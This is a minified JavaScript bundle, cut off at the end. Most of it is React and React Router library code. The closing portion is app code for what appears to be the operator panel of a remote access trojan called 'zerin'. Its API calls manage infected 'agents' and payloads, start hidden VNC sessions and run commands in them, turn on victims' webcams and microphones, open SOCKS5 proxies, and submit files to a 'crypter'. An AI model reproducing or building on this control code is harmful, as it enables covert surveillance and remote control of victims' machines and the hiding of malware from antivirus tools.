EP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Cn(e,t,n,r){return new EP(e,t,n,r)}function vx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function _P(e){if(typeof e=="function")return vx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Ih)return 11;if(e===Dh)return 14}return 2}function gi(e,t){var n=e.alternate;return n===null?(n=Cn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function yc(e,t,n,r,i,s){var o=2;if(r=e,typeof e=="function")vx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case Ea:return Qi(n.children,i,s,t);case Lh:o=8,i|=8;break;case Im:return e=Cn(12,n,t,i|2),e.elementType=Im,e.lanes=s,e;case Dm:return e=Cn(13,n,t,i),e.elementType=Dm,e.lanes=s,e;case Rm:return e=Cn(19,n,t,i),e.elementType=Rm,e.lanes=s,e;case xw:return id(n,i,s,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case pw:o=10;break e;case hw:o=9;break e;case Ih:o=11;break e;case Dh:o=14;break e;case ti:o=16,r=null;break e}throw Error(J(130,e==null?e:typeof e,""))}return t=Cn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=s,t}function Qi(e,t,n,r){return e=Cn(7,e,r,t),e.lanes=n,e}function id(e,t,n,r){return e=Cn(22,e,r,t),e.elementType=xw,e.lanes=n,e.stateNode={isHidden:!1},e}function Qf(e,t,n){return e=Cn(6,e,null,t),e.lanes=n,e}function Jf(e,t,n){return t=Cn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function AP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Tf(0),this.expirationTimes=Tf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Tf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function gx(e,t,n,r,i,s,o,l,c){return e=new AP(e,t,n,l,c),t===1?(t=1,s===!0&&(t|=8)):t=0,s=Cn(3,null,null,t),e.current=s,s.stateNode=e,s.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},tx(s),e}function OP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u5)}catch(e){console.error(e)}}u5(),uw.exports=xn;var jx=uw.exports,$g=jx;Mm.createRoot=$g.createRoot,Mm.hydrateRoot=$g.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Ao(){return Ao=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function Nx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function RP(){return Math.random().toString(36).substr(2,8)}function Fg(e,t){return{usr:e.state,key:e.key,idx:t}}function Cp(e,t,n,r){return n===void 0&&(n=null),Ao({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?xs(t):t,{state:n,key:t&&t.key||r||RP()})}function Zc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function xs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function $P(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Ao({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Cp(g.location,y,v);u=d()+1;let w=Fg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Cp(g.location,y,v);u=d();let w=Fg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Zc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Bg,f),c=y,()=>{i.removeEventListener(Bg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Wg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Wg||(Wg={}));function BP(e,t,n){return n===void 0&&(n="/"),FP(e,t,n)}function FP(e,t,n,r){let i=typeof t=="string"?xs(t):t,s=as(i.pathname||"/",n);if(s==null)return null;let o=d5(e);WP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),d5(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:GP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of f5(s.path))i(s,o,c)}),t}function f5(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),s=n.replace(/\?$/,"");if(r.length===0)return i?[s,""]:[s];let o=f5(r.join("/")),l=[];return l.push(...o.map(c=>c===""?s:[s,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function WP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:XP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const UP=/^:[\w-]+$/,VP=3,HP=2,KP=1,YP=10,qP=-2,Ug=e=>e==="*";function GP(e,t){let n=e.split("/"),r=n.length;return n.some(Ug)&&(r+=qP),t&&(r+=HP),n.filter(i=>!Ug(i)).reduce((i,s)=>i+(UP.test(s)?VP:s===""?KP:YP),r)}function XP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function ZP(e,t,n){let{routesMeta:r}=e,i={},s="/",o=[];for(let l=0;l{let{paramName:p,isOptional:h}=d;if(p==="*"){let g=l[f]||"";o=s.slice(0,s.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[p]=void 0:u[p]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:s,pathnameBase:o,pattern:e}}function QP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),Nx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function JP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return Nx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function as(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const eE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,tE=e=>eE.test(e);function nE(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?xs(e):e,s;if(n)if(tE(n))s=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),Nx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?s=Vg(n.substring(1),"/"):s=Vg(n,t)}else s=t;return{pathname:s,search:aE(r),hash:sE(i)}}function Vg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function em(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function rE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function kx(e,t){let n=rE(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function zx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=xs(e):(i=Ao({},e),Xe(!i.pathname||!i.pathname.includes("?"),em("?","pathname","search",i)),Xe(!i.pathname||!i.pathname.includes("#"),em("#","pathname","hash",i)),Xe(!i.search||!i.search.includes("#"),em("#","search","hash",i)));let s=e===""||i.pathname==="",o=s?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let p=o.split("/");for(;p[0]==="..";)p.shift(),f-=1;i.pathname=p.join("/")}l=f>=0?t[f]:"/"}let c=nE(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(s||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const yi=e=>e.join("/").replace(/\/\/+/g,"/"),iE=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),aE=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,sE=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function oE(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const m5=["post","put","patch","delete"];new Set(m5);const lE=["get",...m5];new Set(lE);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=zx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const dE=m.createContext(null);function fE(e){let t=m.useContext(pr).outlet;return t&&m.createElement(dE.Provider,{value:e},t)}function rl(){let{matches:e}=m.useContext(pr),t=e[e.length-1];return t?t.params:{}}function dd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(pr),{pathname:s}=ga(),o=JSON.stringify(kx(i,r.v7_relativeSplatPath));return m.useMemo(()=>zx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function mE(e,t){return pE(e,t)}function pE(e,t,n,r){vs()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(pr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?xs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=BP(e,{pathname:h}),g=yE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(ud.Provider,{value:{location:Oo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function hE(){let e=NE(),t=oE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const xE=m.createElement(hE,null);class vE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(pr.Provider,{value:this.props.routeContext},m.createElement(h5.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function gE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(cd);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),m.createElement(pr.Provider,{value:t},r)}function yE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var s;if(!n)return null;if(n.errors)e=n.matches;else if((s=r)!=null&&s.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Xe(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,p)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||xE,c&&(u<0&&p===0?(zE("route-fallback"),x=!0,y=null):u===p&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,p+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=m.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,m.createElement(gE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||p===0)?m.createElement(vE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var v5=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(v5||{}),g5=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(g5||{});function bE(e){let t=m.useContext(cd);return t||Xe(!1),t}function wE(e){let t=m.useContext(p5);return t||Xe(!1),t}function jE(e){let t=m.useContext(pr);return t||Xe(!1),t}function y5(e){let t=jE(),n=t.matches[t.matches.length-1];return n.route.id||Xe(!1),n.route.id}function NE(){var e;let t=m.useContext(h5),n=wE(),r=y5();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function kE(){let{router:e}=bE(v5.UseNavigateStable),t=y5(g5.UseNavigateStable),n=m.useRef(!1);return x5(()=>{n.current=!0}),m.useCallback(function(i,s){s===void 0&&(s={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,Oo({fromRouteId:t},s)))},[e,t])}const Hg={};function zE(e,t,n){Hg[e]||(Hg[e]=!0)}function SE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function la(e){let{to:t,replace:n,state:r,relative:i}=e;vs()||Xe(!1);let{future:s,static:o}=m.useContext(Vr),{matches:l}=m.useContext(pr),{pathname:c}=ga(),u=hr(),d=zx(t,kx(l,s.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return m.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function CE(e){return fE(e.context)}function mt(e){Xe(!1)}function PE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ci.Pop,navigator:s,static:o=!1,future:l}=e;vs()&&Xe(!1);let c=t.replace(/^\/*/,"/"),u=m.useMemo(()=>({basename:c,navigator:s,static:o,future:Oo({v7_relativeSplatPath:!1},l)}),[c,l,s,o]);typeof r=="string"&&(r=xs(r));let{pathname:d="/",search:f="",hash:p="",state:h=null,key:x="default"}=r,g=m.useMemo(()=>{let y=as(d,c);return y==null?null:{location:{pathname:y,search:f,hash:p,state:h,key:x},navigationType:i}},[c,d,f,p,h,x,i]);return g==null?null:m.createElement(Vr.Provider,{value:u},m.createElement(ud.Provider,{children:n,value:g}))}function EE(e){let{children:t,location:n}=e;return mE(Ep(t),n)}new Promise(()=>{});function Ep(e,t){t===void 0&&(t=[]);let n=[];return m.Children.forEach(e,(r,i)=>{if(!m.isValidElement(r))return;let s=[...t,i];if(r.type===m.Fragment){n.push.apply(n,Ep(r.props.children,s));return}r.type!==mt&&Xe(!1),!r.props.index||!r.props.children||Xe(!1);let o={id:r.props.id||s.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=Ep(r.props.children,s)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Qc(){return Qc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function _E(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function AE(e,t){return e.button===0&&(!t||t==="_self")&&!_E(e)}function _p(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function OE(e,t){let n=_p(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const TE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],ME=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],LE="6";try{window.__reactRouterVersion=LE}catch{}const IE=m.createContext({isTransitioning:!1}),DE="startTransition",Kg=lw[DE];function RE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=DP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Kg?Kg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>SE(r),[r]),m.createElement(PE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const $E=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",BE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=b5(t,TE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&BE.test(u)&&(x=u,$E))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=as(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=cE(u,{relative:i}),v=UE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Qc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),FE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=b5(t,ME),p=dd(c,{relative:f.relative}),h=ga(),x=m.useContext(p5),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&VE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=as(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let k=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",z=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:k,isPending:z,isTransitioning:v},A=k?r:void 0,_;typeof s=="function"?_=s(S):_=[s,k?"active":null,z?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(S):l;return m.createElement(xt,Qc({},f,{"aria-current":A,className:_,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Ap;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Ap||(Ap={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function WE(e){let t=m.useContext(cd);return t||Xe(!1),t}function UE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=hr(),u=ga(),d=dd(e,{relative:o});return m.useCallback(f=>{if(AE(f,n)){f.preventDefault();let p=r!==void 0?r:Zc(u)===Zc(d);c(e,{replace:p,state:i,preventScrollReset:s,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,s,o,l])}function Sx(e){let t=m.useRef(_p(e)),n=m.useRef(!1),r=ga(),i=m.useMemo(()=>OE(r.search,n.current?null:t.current),[r.search]),s=hr(),o=m.useCallback((l,c)=>{const u=_p(typeof l=="function"?l(i):l);n.current=!0,s("?"+u,c)},[s,i]);return[i,o]}function VE(e,t){t===void 0&&(t={});let n=m.useContext(IE);n==null&&Xe(!1);let{basename:r}=WE(Ap.useViewTransitionState),i=dd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let s=as(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=as(n.nextLocation.pathname,r)||n.nextLocation.pathname;return Pp(i.pathname,o)!=null||Pp(i.pathname,s)!=null}const fd="zerin_token",md="zerin_role",pd="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(fd,n.data.token),n.data.role&&sessionStorage.setItem(md,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function st(){return sessionStorage.getItem(fd)}function Cx(e){sessionStorage.setItem(fd,e)}function il(){sessionStorage.removeItem(fd),sessionStorage.removeItem(md),sessionStorage.removeItem(pd),To=null}function w5(){return sessionStorage.getItem(pd)||"rat"}let To=null;function HE(){return st()?To&&Date.now()/1e3>To?(il(),!1):!0:!1}class bi extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Ce(e,t={}){const n=st(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){il(),zi();const s=await i.text().catch(()=>"");let o="Unauthorized";if(s)try{o=JSON.parse(s).error||o}catch{o=s}throw new bi(401,o)}if(!i.ok){const s=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(s)try{o=JSON.parse(s).error||o}catch{}throw new bi(i.status,o)}if(i.status!==204)return i.json()}async function j5(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function KE(e){const t=await j5(e.password),n=await Ce("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return Cx(n.token),To=n.expires_at,n.role&&sessionStorage.setItem(md,n.role),n.tier&&sessionStorage.setItem(pd,n.tier),zi(),n}async function YE(e){const t=await j5(e.password),n=await Ce("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return Cx(n.token),To=n.expires_at,n.role&&sessionStorage.setItem(md,n.role),n.tier&&sessionStorage.setItem(pd,n.tier),zi(),n}async function N5(e){return Ce("/api/agents")}async function qE(e){return Ce(`/api/agents/${e}`)}async function k5(e){return Ce(`/api/agents/${e}`,{method:"DELETE"})}async function GE(e){await Promise.all(e.map(t=>k5(t)))}async function XE(e){return Ce(`/api/agents/${e}/ban`,{method:"POST"})}async function ZE(e){return Ce(`/api/agents/${e}/unban`,{method:"POST"})}async function Me(e,t){return Ce(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Xn(e){return Ce(`/api/agents/${e}/tasks`)}async function QE(){return Ce("/api/events")}async function JE(e,t){return Ce(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function e_(e){return Ce("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function t_(){return Ce("/api/payloads")}async function n_(){return Ce("/api/server-info")}async function r_(e){return Ce(`/api/payloads/${e}`,{method:"DELETE"})}async function Px(e){return Ce(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function i_(e){return Ce(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function z5(e){return Ce(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function a_(e){return Ce(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function s_(e,t,n=!1){return Ce(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function S5(e,t=-1){return Ce(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function o_(e){return Ce(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function C5(e){return Ce(`/api/agents/${e}/mic/start`,{method:"POST"})}async function l_(e){return Ce(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function P5(e){return Ce(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function c_(e){return Ce(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function u_(e){return Ce(`/api/agents/${e}/socks5/status`)}async function d_(e){const t=st(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw il(),zi(),new 